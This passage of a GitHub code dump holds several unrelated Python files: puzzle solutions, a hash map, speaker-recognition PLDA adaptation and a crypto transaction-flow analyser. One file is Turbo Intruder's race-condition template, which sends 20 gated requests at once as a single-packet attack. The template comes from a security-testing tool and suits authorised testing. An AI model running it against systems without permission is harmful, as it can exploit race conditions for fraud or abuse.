default=None)\n\n    args = parser.parse_args()\n    logging.basicConfig(level=getattr(logging, args.logging))\n    with error_handler(debug=args.debug, quiet=args.quiet):\n        loader_cls = import_symbol(args.loader, ns=\"kamidana.loader\", cwd=True)\n        extensions = [\n            (\"jinja2.ext.{}\".format(ext) if \".\" not in ext else ext)\n            for ext in args.extension\n        ]\n        loader = loader_cls(\n            args.data, args.additionals, extensions, format=args.input_format\n        )\n        driver_cls = import_symbol(\"kamidana.driver:BatchCommandDriver\", cwd=True)\n        driver = driver_cls(loader, format=args.output_format)\n        driver.run(args.batch, args.outdir)\n","repo_name":"podhmo/kamidana","sub_path":"kamidana/commands/manyfiles.py","file_name":"manyfiles.py","file_ext":"py","file_size_in_byte":1759,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"35"}
{"seq_id":"23321789698","text":"from sys import stdin, stdout\nfrom collections import defaultdict\nimport random\nfinput = stdin.readline\nfprint = stdout.write\n\nclass Contributor:\n    def __init__(self, name, skills):\n        self.name = name\n        self.skills = skills\n        self.available = True\n\nclass Project:\n    def __init__(self, name, days, score, best_before, roles):\n        self.name = name\n        self.days = days\n        self.score = score\n        self.best_before = best_before\n        self.roles = roles\n        self.assigned = [None] * len(roles)\n\nn_contributors, n_projects = map(int, finput().split(\" \"))\ncontributors = []\nfor _ in range(n_contributors):\n    name, n_skills = finput().split(\" \")\n    skills = defaultdict(int)\n    for _ in range(int(n_skills)):\n        skill_name, skill_level = finput().split(\" \")\n        skills[skill_name] = int(skill_level)\n    new_contributor = Contributor(name, skills)\n    contributors.append(new_contributor)\nprojects = []\nfor _ in range(n_projects):\n    name, *params = finput().split(\" \")\n    days, score, best_before, n_roles = map(int, params)\n    roles = []\n    for _ in range(n_roles):\n        skill_name, level_required = finput().split(\" \")\n        roles.append([skill_name, int(level_required)])\n    new_project = Project(name, days, score, best_before, roles)\n    projects.append(new_project)\n\ncskills = defaultdict(list)\nfor contributor in contributors:\n    for skill in contributor.skills:\n        cskills[skill].append(contributor)\n\nprojects.sort(key=lambda p: (-p.best_before, -p.score, p.days))\nfor project in projects:\n    assigned_contributors = []\n    for i, role in enumerate(project.roles):\n        for contributor in cskills[role[0]]:\n            if  contributor.skills[role[0]] >= role[1] and contributor.available:\n                assigned_contributors.append(contributor)\n                project.assigned[i] = contributor.name\n                contributor.available = False\n                break\n    for contributor in assigned_contributors:\n        contributor.available = True\n            \nans = []\nfor project in projects:\n    assigned = project.assigned\n    if all(assigned):\n        ans.append(project.name + '\\n' + ' '.join(assigned))\nfprint(str(len(ans)) + '\\n' + '\\n'.join(ans))\n\n# ----------------TEST---------------------\n# print(\"Contributor List :\", contributors)\n# for contributor in contributors:\n#     print(\"\\n  Name   :\", contributor.name)\n#     print(\"  Skills :\", contributor.skills)\n# print(\"\\nProjects List\", projects)\n# for project in projects:\n#     print(\"\\n  Name  :\", project.name)\n#     print(\"  Days  :\", project.days)\n#     print(\"  Score :\", project.score)\n#     print(\"  Best Before:\", project.best_before)\n#     print(\"  Roles :\", project.roles)\n# ----------------COMMENT-------------------\n","repo_name":"Suraj1199/GoogleCompetitions_Solutions","sub_path":"HashCode/2022/Qualification Round/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":2776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"1263014944","text":"# hash_map.py\n# ===================================================\n# Implement a hash map with chaining\n# ===================================================\n\n\nclass SLNode:\n    def __init__(self, key, value):\n        self.next = None\n        self.key = key\n        self.value = value\n\n    def __str__(self):\n        return '(' + str(self.key) + ', ' + str(self.value) + ')'\n\n\nclass LinkedList:\n    def __init__(self):\n        self.head = None\n        self.size = 0\n\n    def add_front(self, key, value):\n        \"\"\"Create a new node and inserts it at the front of the linked list\n        Args:\n            key: the key for the new node\n            value: the value for the new node\"\"\"\n        new_node = SLNode(key, value)\n        new_node.next = self.head\n        self.head = new_node\n        self.size = self.size + 1\n\n    def remove(self, key):\n        \"\"\"Removes node from linked list\n        Args:\n            key: key of the node to remove \"\"\"\n        if self.head is None:\n            return False\n        if self.head.key == key:\n            self.head = self.head.next\n            self.size = self.size - 1\n            return True\n        cur = self.head.next\n        prev = self.head\n        while cur is not None:\n            if cur.key == key:\n                prev.next = cur.next\n                self.size = self.size - 1\n                return True\n            prev = cur\n            cur = cur.next\n        return False\n\n    def contains(self, key):\n        \"\"\"Searches linked list for a node with a given key\n        Args:\n            key: key of node\n        Return:\n            node with matching key, otherwise None\"\"\"\n        if self.head is not None:\n            cur = self.head\n            while cur is not None:\n                if cur.key == key:\n                    return cur\n                cur = cur.next\n        return None\n\n    def __str__(self):\n        out = '['\n        if self.head is not None:\n            cur = self.head\n            out = out + str(self.head)\n            cur = cur.next\n            while cur is not None:\n                out = out + ' -> ' + str(cur)\n                cur = cur.next\n        out = out + ']'\n        return out\n\n\ndef hash_function_1(key):\n    hash = 0\n    for i in key:\n        hash = hash + ord(i)\n    return hash\n\n\ndef hash_function_2(key):\n    hash = 0\n    index = 0\n    for i in key:\n        hash = hash + (index + 1) * ord(i)\n        index = index + 1\n    return hash\n\n\nclass HashMap:\n    \"\"\"\n    Creates a new hash map with the specified number of buckets.\n    Args:\n        capacity: the total number of buckets to be created in the hash table\n        function: the hash function to use for hashing values\n    \"\"\"\n\n    def __init__(self, capacity, function):\n        self._buckets = []\n        for i in range(capacity):\n            self._buckets.append(LinkedList())\n        self.capacity = capacity\n        self._hash_function = function\n        self.size = 0\n\n    def clear(self):\n        \"\"\"\n        Empties out the hash table deleting all links in the hash table.\n        \"\"\"\n        self._buckets = []\n        for i in range(self.capacity):\n            self._buckets.append(LinkedList())\n        self.size = 0\n\n\n    def get(self, key):\n        \"\"\"\n        Returns the value with the given key.\n        Args:\n            key: the value of the key to look for\n        Return:\n            The value associated to the key. None if the link isn't found.\n        \"\"\"\n        # Find the index\n        index = self._hash_function(key) % self.capacity\n        # Grab the node\n        node = self._buckets[index].contains(key)\n        # If the link\n        if node is not None:\n            return node.value\n        else:\n            return None\n\n    def get_buckets(self):\n        \"\"\"Returns the buckets list.\"\"\"\n        return self._buckets\n\n    def resize_table(self, capacity):\n        \"\"\"\n        Re-sizes the hash table to have a number of buckets equal to the given\n        capacity. All links need to be rehashed in this function after resizing\n        Args:\n            capacity: the new number of buckets.\n        \"\"\"\n        # Create a new array and initiate new linked lists\n        temp = []\n        for num in range(capacity):\n            temp.append(LinkedList())\n\n        # Iterate through each linked list in the previous array and retrieve new hashes\n        # Add these into new existing array\n        for bucket in self._buckets:\n            if bucket.head is not None:\n                curr = bucket.head\n                while curr is not None:\n                    new_index = self._hash_function(curr.key) % capacity\n                    temp[new_index].add_front(curr.key, curr.value)\n                    curr = curr.next\n        # Update buckets to point to new array\n        self._buckets = temp\n        # Update to new capacity\n        self.capacity = capacity\n\n\n    def put(self, key, value):\n        \"\"\"\n        Updates the given key-value pair in the hash table. If a link with the given\n        key already exists, this will just update the value and skip traversing. Otherwise,\n        it will create a new link with the given key and value and add it to the table\n        bucket's linked list.\n\n        Args:\n            key: they key to use to has the entry\n            value: the value associated with the entry\n        \"\"\"\n        index = self._hash_function(key) % self.capacity\n        node = self._buckets[index].contains(key)\n        # Point to the linked list in this index\n        if node is not None:\n            node.value = value\n        else:\n            self._buckets[index].add_front(key, value)\n            self.size += 1\n\n    def remove(self, key):\n        \"\"\"\n        Removes and frees the link with the given key from the table. If no such link\n        exists, this does nothing. Remember to search the entire linked list at the\n        bucket.\n        Args:\n            key: they key to search for and remove along with its value\n        \"\"\"\n        index = self._hash_function(key) % self.capacity\n\n        if self.contains_key(key) is True:\n            self._buckets[index].remove(key)\n            self.size -= 1\n        else:\n            return\n\n\n    def contains_key(self, key: object) -> object:\n        \"\"\"\n        Searches to see if a key exists within the hash table\n\n        Returns:\n            True if the key is found False otherwise\n\n        \"\"\"\n        index = self._hash_function(key) % self.capacity\n        # Used the contains method for the linked list to see if it's in the bucket\n        if self._buckets[index].contains(key) is not None:\n            return True\n        else:\n            return False\n\n    def empty_buckets(self):\n        \"\"\"\n        Returns:\n            The number of empty buckets in the table\n        \"\"\"\n        count = 0\n        # Find buckets with empty heads and increment count\n        for bucket in self._buckets:\n            if bucket.head is None:\n                count += 1\n        return count\n\n\n    def table_load(self):\n        \"\"\"\n        Returns:\n            the ratio of (number of links) / (number of buckets) in the table as a float.\n\n        \"\"\"\n        return float(self.size/self.capacity)\n\n    def __str__(self):\n        \"\"\"\n        Prints all the links in each of the buckets in the table.\n        \"\"\"\n\n        out = \"\"\n        index = 0\n        for bucket in self._buckets:\n            out = out + str(index) + ': ' + str(bucket) + '\\n'\n            index = index + 1\n        return out\n","repo_name":"lagunasmel/Word-Counter","sub_path":"hash_map.py","file_name":"hash_map.py","file_ext":"py","file_size_in_byte":7467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"28211946083","text":"# -*- coding:utf-8 -*-\r\n\r\n# Copyright xmuspeech (Author: JFZhou 2020-05-31)\r\n\r\nimport numpy as np\r\nimport os\r\nimport sys\r\n\r\nsys.path.insert(0, 'subtools/pytorch')\r\n\r\nimport libs.support.kaldi_io as kaldi_io\r\nfrom plda_base import PLDA\r\n\r\nclass CORAL(object):\r\n\r\n    def __init__(self, \r\n                 mean_diff_scale=1.0,\r\n                 within_covar_scale=0.8,\r\n                 between_covar_scale=0.8):\r\n        self.tot_weight = 0\r\n        self.mean_stats = 0\r\n        self.variance_stats = 0\r\n        self.mean_diff_scale = 1.0\r\n        self.mean_diff_scale = mean_diff_scale\r\n        self.within_covar_scale = within_covar_scale\r\n        self.between_covar_scale = between_covar_scale\r\n\r\n    def add_stats(self, weight, ivector):\r\n        ivector = np.reshape(ivector,(-1,1))\r\n        if type(self.mean_stats)==int:\r\n            self.mean_stats = np.zeros(ivector.shape)\r\n            self.variance_stats = np.zeros((ivector.shape[0],ivector.shape[0]))\r\n        self.tot_weight += weight\r\n        self.mean_stats += weight * ivector\r\n        self.variance_stats += weight * np.matmul(ivector,ivector.T)\r\n        \r\n    def update_plda(self,):\r\n        \r\n        dim = self.mean_stats.shape[0]\r\n        #TODO:Add assert\r\n        '''\r\n        // mean_diff of the adaptation data from the training data.  We optionally add\r\n        // this to our total covariance matrix\r\n        '''\r\n        mean = (1.0 / self.tot_weight) * self.mean_stats\r\n\r\n        '''\r\n        D（x）= E[x^2]-[E(x)]^2\r\n        '''\r\n        variance = (1.0 / self.tot_weight) * self.variance_stats - np.matmul(mean,mean.T)\r\n        '''\r\n        // update the plda's mean data-member with our adaptation-data mean.\r\n        '''\r\n        mean_diff = mean - self.mean\r\n        variance += self.mean_diff_scale * np.matmul(mean_diff,mean_diff.T)\r\n        self.mean = mean\r\n\r\n        o_covariance = self.within_var + self.between_var\r\n        eigh_o, Q_o = np.linalg.eigh(o_covariance)\r\n        self.sort_svd(eigh_o, Q_o)\r\n\r\n        eigh_i, Q_i = np.linalg.eigh(variance)\r\n        self.sort_svd(eigh_i, Q_i)\r\n\r\n        EIGH_O = np.diag(eigh_o)\r\n        EIGH_I = np.diag(eigh_i)\r\n\r\n        C_o = np.matmul(np.matmul(Q_o,np.linalg.inv(np.sqrt(EIGH_O))),Q_o.T)\r\n        C_i = np.matmul(np.matmul(Q_i,np.sqrt(EIGH_I)),Q_i.T)\r\n        A = np.matmul(C_i,C_o)\r\n        S_w = np.matmul(np.matmul(A,self.within_var),A.T)\r\n        S_b = np.matmul(np.matmul(A,self.between_var),A.T)\r\n\r\n        self.between_var = S_b\r\n        self.within_var =  S_w\r\n\r\n    def sort_svd(self,s, d):\r\n      \r\n        for i in range(len(s)-1):\r\n            for j in range(i+1,len(s)):\r\n                if s[i] > s[j]:\r\n                    s[i], s[j] = s[j], s[i]\r\n                    d[i], d[j] = d[j], d[i]\r\n\r\n    def plda_read(self,plda):\r\n      \r\n        with kaldi_io.open_or_fd(plda,'rb') as f:\r\n            for key,vec in kaldi_io.read_vec_flt_ark(f):\r\n                if key == 'mean':\r\n                    self.mean = vec.reshape(-1,1)\r\n                    self.dim = self.mean.shape[0]\r\n                elif key == 'within_var':\r\n                    self.within_var = vec.reshape(self.dim, self.dim)\r\n                else:\r\n                    self.between_var = vec.reshape(self.dim, self.dim)\r\n\r\n    def plda_write(self,plda):\r\n      \r\n        with kaldi_io.open_or_fd(plda,'wb') as f:\r\n            kaldi_io.write_vec_flt(f, self.mean, key='mean')\r\n            kaldi_io.write_vec_flt(f, self.within_var.reshape(-1,1), key='within_var')\r\n            kaldi_io.write_vec_flt(f, self.between_var.reshape(-1,1), key='between_var')\r\n\r\nclass CIP(object):\r\n    \"\"\"\r\n    Reference:\r\n    Wang Q, Okabe K, Lee K A, et al. A Generalized Framework for Domain Adaptation of PLDA in Speaker Recognition[C]//ICASSP 2020-2020 IEEE International Conference on Acoustics, Speech and Signal Processing (ICASSP). IEEE, 2020: 6619-6623.\r\n    \"\"\"\r\n    def __init__(self, \r\n                 interpolation_weight=0.5):\r\n\r\n        self.interpolation_weight = interpolation_weight\r\n\r\n    def interpolation(self,coral,plda_in_domain):\r\n        \r\n\r\n        mean_in,between_var_in,within_var_in = self.plda_read(plda_in_domain)\r\n\r\n        self.mean = mean_in\r\n        self.between_var = self.interpolation_weight*coral.between_var+(1-self.interpolation_weight)*between_var_in\r\n        self.within_var = self.interpolation_weight*coral.within_var+(1-self.interpolation_weight)*within_var_in\r\n\r\n    def plda_read(self,plda):\r\n      \r\n        with kaldi_io.open_or_fd(plda,'rb') as f:\r\n            for key,vec in kaldi_io.read_vec_flt_ark(f):\r\n                if key == 'mean':\r\n                    mean = vec.reshape(-1,1)\r\n                    dim = mean.shape[0]\r\n                elif key == 'within_var':\r\n                    within_var = vec.reshape(dim, dim)\r\n                else:\r\n                    between_var = vec.reshape(dim, dim)\r\n\r\n        return mean,between_var,within_var\r\n\r\ndef main():\r\n\r\n    if len(sys.argv)!=5:\r\n        print('<plda-out-domain> <adapt-ivector-rspecifier> <plda-in-domain> <plda-adapt> \\n',\r\n            )  \r\n        sys.exit() \r\n\r\n    plda_out_domain = sys.argv[1]\r\n    train_vecs_adapt = sys.argv[2]\r\n    plda_in_domain = sys.argv[3]\r\n    plda_adapt = sys.argv[4]\r\n\r\n\r\n    coral=CORAL()\r\n    coral.plda_read(plda_out_domain)\r\n\r\n    for _,vec in kaldi_io.read_vec_flt_auto(train_vecs_adapt):\r\n        coral.add_stats(1,vec)\r\n    coral.update_plda()\r\n\r\n\r\n    cip=CIP()\r\n    cip.interpolation(coral,plda_in_domain)\r\n\r\n    plda_new = PLDA()\r\n    plda_new.mean = cip.mean\r\n    plda_new.within_var = cip.within_var\r\n    plda_new.between_var = cip.between_var\r\n    plda_new.get_output()\r\n    plda_new.plda_trans_write(plda_adapt)\r\n\r\nif __name__ == \"__main__\":\r\n    main()","repo_name":"Snowdar/asv-subtools","sub_path":"score/pyplda/ivector-adapt-plda-cip.py","file_name":"ivector-adapt-plda-cip.py","file_ext":"py","file_size_in_byte":5725,"program_lang":"python","lang":"en","doc_type":"code","stars":548,"dataset":"github-code","pt":"35"}
{"seq_id":"459525312","text":"import setuptools\n\nlong_description = \"a scanpy-based single-cell crosstalk analysis package\"\n\nsetuptools.setup(\n  name=\"depair\",\n  version=\"0.0.2\",\n  author=\"Sijie Chen\",\n  author_email=\"chansigit@gmail.com\",\n  description=\"A scanpy-based single-cell crosstalk analysis package\",\n  long_description=long_description,\n  long_description_content_type=\"text/markdown\",\n  url=\"https://github.com/chansigit/depair\",\n  packages=setuptools.find_packages(),\n  classifiers=[\n  \"Programming Language :: Python :: 3\",\n  \"License :: OSI Approved :: MIT License\",\n  \"Operating System :: OS Independent\",\n  ],\n)\n","repo_name":"chansigit/DEPair","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"29397800267","text":"import sys\nfrom collections import deque\ninput = sys.stdin.readline\n\nboard = []\ncustomer = []\nd = [(-1,0),(0,-1),(0,1),(1,0)]\n\n\ndef bfs_customer(taxi):\n\tq = deque([taxi+[0]])\n\tboard_cnt = [[0]*len(board) for _ in range(len(board))]\n\twhile q:\n\t\trow,col,cnt = q.popleft()\n\t\tif board[row][col] < 0:\n\t\t\treturn [row,col,cnt]\n\t\tfor i in d:\n\t\t\tdr,dc = i\n\t\t\tif board[row+dr][col+dc] == 0 and board_cnt[row+dr][col+dc] == 0:\n\t\t\t\tboard_cnt[row+dr][col+dc] = cnt+1\n\t\t\t\tq.append([row+dr,col+dc,cnt+1])\n\t\t\telif board[row+dr][col+dc] < 0:\n\t\t\t\treturn [row+dr,col+dc,cnt+1]\n\ndef bfs_finish(customer):\n\tboard_cnt = [[0]*len(board) for _ in range(len(board))]\n\tsr,sc,fr,fc = customer\n\tq = deque([[sr,sc,0]])\n\twhile q:\n\t\trow,col,cnt = q.popleft()\n\t\tboard_cnt[row][col] = cnt\n\t\tif row == fr and col == fc:\n\t\t\treturn cnt\n\t\tfor i in d:\n\t\t\tdr,dc = i\n\t\t\tif board[row+dr][col+dc] < 1 and board_cnt[row+dr][col+dc] == 0:\n\t\t\t\tboard_cnt[row+dr][col+dc] = cnt+1\n\t\t\t\tq.append([row+dr,col+dc,cnt+1])\n\ndef solution(taxi,N,M,oil):\n\tcus = len(customer)\n\tcost = []\n\tfor i in range(len(customer)):\n\t\tsr,sc,fr,fc = customer[i]\n\t\tif sr == sc == 0:\n\t\t\tcontinue\n\t\tboard[sr][sc] = -1*(i+1)\n\t\tcost.append(bfs_finish(customer[i]))\n\t\tif cost[-1] == None:\n\t\t\treturn -1\n\n\twhile cus != 0:\n\t\tstart = bfs_customer(taxi)\n\t\trow,col,l = start\n\t\toil -= l\n\t\tif oil < 0:\n\t\t\treturn -1\n\t\tidx = -1*board[row][col]-1\n\t\tif oil - cost[idx] < 0:\n\t\t\treturn -1\n\t\toil += cost[idx]\n\t\tif oil > 0:\n\t\t\tcus -= 1\n\t\telse:\n\t\t\treturn -1\n\t\ttaxi = [customer[idx][2],customer[idx][3]]\n\t\tboard[customer[idx][0]][customer[idx][1]] = 0\n\t\tcustomer[idx] = [0,0,0,0]\n\n\treturn oil\n\nif __name__ == \"__main__\":\n\tN,M,oil = map(int,input().split())\n\tboard.append([1]*(N+2))\n\tfor _ in range(N):\n\t\tboard.append([1]+list(map(int,input().split()))+[1])\n\tboard.append([1]*(N+2))\n\ttaxi = list(map(int,input().split()))\n\tfor _ in range(M):\n\t\tcustomer.append(list(map(int,input().split())))\n\tprint(solution(taxi,N,M,oil))","repo_name":"ZScomnet/Programmers","sub_path":"baekjoon/19238.py","file_name":"19238.py","file_ext":"py","file_size_in_byte":1925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"12916780895","text":"#!/usr/bin/env python3\n\nfrom collections import defaultdict\n# from pprint import pprint\nimport sys\nfrom typing import DefaultDict, Tuple\n\n# type hints not yet added to sortedcontainers\n# https://github.com/grantjenks/python-sortedcontainers/pull/107\nfrom sortedcontainers import SortedSet  # type: ignore\n\nfrom wallet import Wallet\nfrom coin import Coin\nfrom transaction import Transaction\nfrom protocols import SupportsWrite\n\n\ndef create_sorted_txn_set():\n    return SortedSet(key=lambda txn: txn.date)\n\n\nclass FlowAnalyser:\n    # Dict mapping wallet -> currency -> a set of txns directly\n    # *or* directly funding that wallet with that coin.  We ensure\n    # the sets are chronologically sorted by setting the default\n    # leaf values to be SortedSet instances which sorts by\n    # txn.date.\n    wallet_fundings: DefaultDict[\n        Wallet,\n        DefaultDict[Coin, SortedSet]\n    ]\n\n    # Dict which tracks the number of indirect fundings from\n    # (wallet A, coin X) to (wallet B, coin Y) already included in\n    # B's list of fundings for coin Y.\n    #\n    # Maps (wallet B, coin Y) -> (wallet A, coin X) -> number of\n    # transactions from self.wallet_fundings[A][X] which were already\n    # added to self.wallet_fundings[B][Y] as indirect fundings, or\n    # skipped.\n    #\n    # This allows us to transitively maintain indirect funding\n    # transactions in an efficient manner, avoiding duplicate funding\n    # events or the need to iterate through the txn lists over and\n    # over again.\n    num_indirect_wallet_fundings: DefaultDict[\n        Tuple[Wallet, Coin],\n        DefaultDict[\n            Tuple[Wallet, Coin],\n            int\n        ]\n    ]\n\n    output: SupportsWrite\n\n    def __init__(self, output: SupportsWrite = sys.stdout) -> None:\n        self.wallet_fundings = defaultdict(\n            lambda: defaultdict(create_sorted_txn_set))\n\n        self.num_indirect_wallet_fundings = defaultdict(\n            lambda: defaultdict(lambda: 0))\n\n        self.output = output\n\n    def write(self, s: str) -> None:\n        if self.output:\n            self.output.write(s + \"\\n\")\n\n    def add_txn(self, txn: Transaction) -> None:\n        if not txn.recipient or not txn.received_amount:\n            assert 'withdrawal' in txn.tx_type\n            # self.write(f\"!! Skipping {txn}\")\n            return\n\n        self.check_txn(txn)\n        self.add_funding(txn)\n\n    def update_wallets(self, txn: Transaction) -> None:\n        src = txn.sender\n        src_currency = txn.sent_currency\n        src_amount = txn.sent_amount\n        if (not src.is_external and src_amount is not None and\n                src_currency is not None):\n            src.withdraw(src_currency, src_amount)\n            self.report_balance(src, src_currency, \" after sending\")\n\n        dst = txn.recipient\n        dst_currency = txn.received_currency\n        dst_amount = txn.received_amount\n        if dst_amount is not None:\n            dst.deposit(dst_currency, dst_amount)\n            self.report_balance(dst, dst_currency, \" after receiving\")\n\n        fee_currency = txn.fee_currency\n        fee_amount = txn.fee_amount\n        if fee_amount is not None and fee_currency is not None:\n            src.withdraw(fee_currency, fee_amount)\n            self.report_balance(src, fee_currency, \" after fee\")\n\n    def report_balance(self, wallet: Wallet, coin: Coin,\n                       extra=\"\") -> None:\n        # Avoid balances like 0.00009062999999999433 BTC\n        # which are just artifacts of floating point storage.\n        # This rough approach is one decent enough option:\n        #\n        # balance = f\"{wallet[coin]:.11f}\".rstrip('0').rstrip('.')\n        #\n        # numpy.format_float_positional is another potential option.\n        # However for now, just mimic Koinly's formatting:\n        balance = f\"{wallet[coin]:.8f}\"\n        self.write(f\"   = {wallet} {coin} balance now \"\n                   f\"{balance} {coin}{extra}\")\n\n    def check_txn(self, txn: Transaction):\n        if txn.is_swap:\n            assert txn.tx_type in ('buy', 'sell', 'exchange'), txn\n            assert txn.sent_currency != txn.received_currency, txn\n        else:\n            assert txn.sent_currency == txn.received_currency, txn\n\n    def add_funding(self, txn: Transaction) -> None:\n        # txn.tx_type=crypto_deposit when sender is external\n        # txn.tx_type=transfer when sender is internal\n        if txn.is_swap:\n            self.write(f\"Swapping in {txn.sender}: \"\n                       f\"{txn.sent_currency} -> {txn.received_currency}:\")\n        else:\n            self.write(f\"Funding {txn.recipient} with \" +\n                       txn.received_currency)\n        self.write(f\"   + {txn}\")\n        self.update_wallets(txn)\n        self.add_direct_funding(txn)\n        self.add_indirect_funding(txn)\n        fundings: SortedSet[Transaction] = \\\n            self.wallet_fundings[txn.recipient][txn.received_currency]\n        t: Transaction\n        # for t in fundings:\n        #     self.write(f\"   . {t}\")\n\n    def add_direct_funding(self, txn: Transaction) -> None:\n        self.wallet_fundings[txn.recipient][txn.received_currency].add(txn)\n\n    def add_indirect_funding(self, txn: Transaction) -> None:\n        # Track funding transitively.  Any wallet which funded\n        # txn.sender is also considered an indirect funder of\n        # txn.recipient.\n        if txn.sender.is_external:\n            self.write(\"   skipping transitive funding for external sources\")\n            return\n\n        src = (txn.recipient, txn.received_currency)\n        dst = (txn.sender, txn.sent_currency)\n        count: int = self.num_indirect_wallet_fundings[src][dst]\n        self.write(f\"   transitively funding from funders of \"\n                   f\"{txn.sender} with {txn.sent_currency}, \"\n                   f\"starting at index {count}\")\n        fundings: SortedSet[Transaction] = \\\n            self.wallet_fundings[txn.sender][txn.sent_currency]\n        new_indirect_txns: SortedSet[Transaction] = fundings[count:]\n        for indirect_txn in new_indirect_txns:\n            if (indirect_txn.sender == txn.recipient and\n                    indirect_txn.sent_currency ==\n                    txn.received_currency):\n                self.write(\"      ignoring funding cycle\")\n                continue\n\n            # Note: could have transactions in the same second, e.g.\n            # when an exchange automatically routes a swap between\n            # currencies which don't have a direct trading pair.\n            assert indirect_txn.date <= txn.date\n\n            self.wallet_fundings[txn.recipient][\n                txn.received_currency].add(indirect_txn)\n            # self.write(f\"      > {indirect_txn}\")\n\n        new_index = \\\n            len(self.wallet_fundings[txn.sender][txn.sent_currency])\n        self.num_indirect_wallet_fundings[src][dst] = new_index\n        self.write(f\"   next will start at index {new_index}\")\n","repo_name":"aspiers/cryptoflow","sub_path":"cryptoflow/analyser.py","file_name":"analyser.py","file_ext":"py","file_size_in_byte":6908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"9476246600","text":"def queueRequests(target, wordlists):\n\n    # if the target supports HTTP/2, use engine=Engine.BURP2 to trigger the single-packet attack\n    # if they only support HTTP/1, use Engine.THREADED or Engine.BURP instead\n    # for more information, check out https://portswigger.net/research/smashing-the-state-machine\n    engine = RequestEngine(endpoint=target.endpoint,\n                           concurrentConnections=1,\n                           engine=Engine.BURP2\n                           )\n\n    # the 'gate' argument withholds part of each request until openGate is invoked\n    # if you see a negative timestamp, the server responded before the request was complete\n    for i in range(20):\n        engine.queue(target.req, gate='race1')\n\n    # once every 'race1' tagged request has been queued\n    # invoke engine.openGate() to send them in sync\n    engine.openGate('race1')\n\n\ndef handleResponse(req, interesting):\n    table.add(req)\n","repo_name":"PortSwigger/turbo-intruder","sub_path":"resources/examples/race-single-packet-attack.py","file_name":"race-single-packet-attack.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","stars":1283,"dataset":"github-code","pt":"35"}
{"seq_id":"73566499939","text":"from __future__ import print_function\nimport math, csv\n\n# For comparison only\ndef get_semitones(hertz):\n    octaves = math.log(hertz) / math.log(2)\n    return octaves * 12\n\ndef st_diff(freq1, freq2):\n    return abs(get_semitones(freq1) - get_semitones(freq2))\n\ndef lerp(start, end, f):\n    return start + f * (end - start)\n\ndef delerp(start, end, x):\n    return float(x - start) / (end - start)\n\ndef rdp_formant_approx(formant_points, tolerance_st):\n    first_point = formant_points[ 0]\n    last_point  = formant_points[-1]\n    \n    max_st_dist = 0\n    max_st_dist_index = 0\n    for index in xrange(1, len(formant_points) - 1):\n        current_point = formant_points[index]\n        \n        progress    = delerp(first_point[0], last_point[0], current_point[0])\n        beeline_value = [lerp(start, end, progress) for start, end in zip(first_point[1], last_point[1])]\n\n        current_st_dist = max([st_diff(smp_freq, bl_freq) for smp_freq, bl_freq in zip(current_point[1][1:], beeline_value[1:])])\n        \n        if current_st_dist > max_st_dist:\n            max_st_dist_index = index\n            max_st_dist = current_st_dist\n\n    if max_st_dist > tolerance_st:\n        left_result  = rdp_formant_approx(formant_points[:max_st_dist_index + 1], tolerance_st)\n        right_result = rdp_formant_approx(formant_points[max_st_dist_index:], tolerance_st)\n        result = left_result[:-1] + right_result\n    else:\n        result = [formant_points[0], formant_points[-1]]\n\n    return result\n\n# ==================================================\n\ndef halve(iterator):\n    for i, line in enumerate(iterator):\n        if not i % 2:\n            yield line\n\ndef double(iterator):\n    for line in iterator:\n        yield line\n        yield line\n\ntimestep = .01\n'''\nwith open('formants classic.tsv', 'r') as formants_file, open('formants classic.tsv', 'r') as intensity_file, open('formant_points.txt', 'w') as formant_points_file:\n    formants_file_rows  = csv.reader(formants_file,  delimiter ='\\t')\n    intensity_file_rows = csv.reader(intensity_file, delimiter ='\\t')\n\n    # Read list of frames (intensity, F1, F2, F3)\n    formants_file_rows.next()\n    intensity_file_rows.next()\n    formant_data = [map(float, irow[0:1] + frow[1:4]) for irow, frow in zip(intensity_file_rows, formants_file_rows)]\n    '''\n'''\nwith open('formants.frm', 'r') as formants_file, open('room defric 2.pwr', 'r') as intensity_file, open('formant_points.txt', 'w') as formant_points_file:\n    formants_file_rows  = csv.reader(formants_file, delimiter=' ')\n\n    formant_data = [map(float, [intensity] + frow[0:3]) for intensity, frow in zip(intensity_file, formants_file_rows)]\n'''\nwith open('formants.frm', 'r') as formants_file, open('formants classic.tsv', 'r') as intensity_file, open('formant_points.txt', 'w') as formant_points_file:\n    formants_file_rows  = csv.reader(formants_file, delimiter=' ')\n    intensity_file_rows = csv.reader(intensity_file, delimiter ='\\t')\n\n    intensity_file_rows.next()\n    formant_data = [map(float, irow[0:1] + frow[0:3]) for irow, frow in zip(double(intensity_file_rows), formants_file_rows)]\n\n    # Convert to list of [time, frame]\n    formant_points = [[index * timestep, datum] for index, datum in enumerate(formant_data)]\n    \n    print('Original formant point count: %i' % len(formant_points))\n    formant_points = rdp_formant_approx(formant_points, 4)\n    print('Optimized formant point count: %i' % len(formant_points))\n\n    # Write to file\n    print('Phase step: ' + str(timestep))\n    for formant_point in formant_points:\n        print('FP(%.2f, %f, %.f., %.f., %.f.)' % (formant_point[0], formant_point[1][0], formant_point[1][1], formant_point[1][2], formant_point[1][3],), file=formant_points_file)\n\n\nprint('Done')\n","repo_name":"fernozzle/room","sub_path":"formant_points.py","file_name":"formant_points.py","file_ext":"py","file_size_in_byte":3738,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
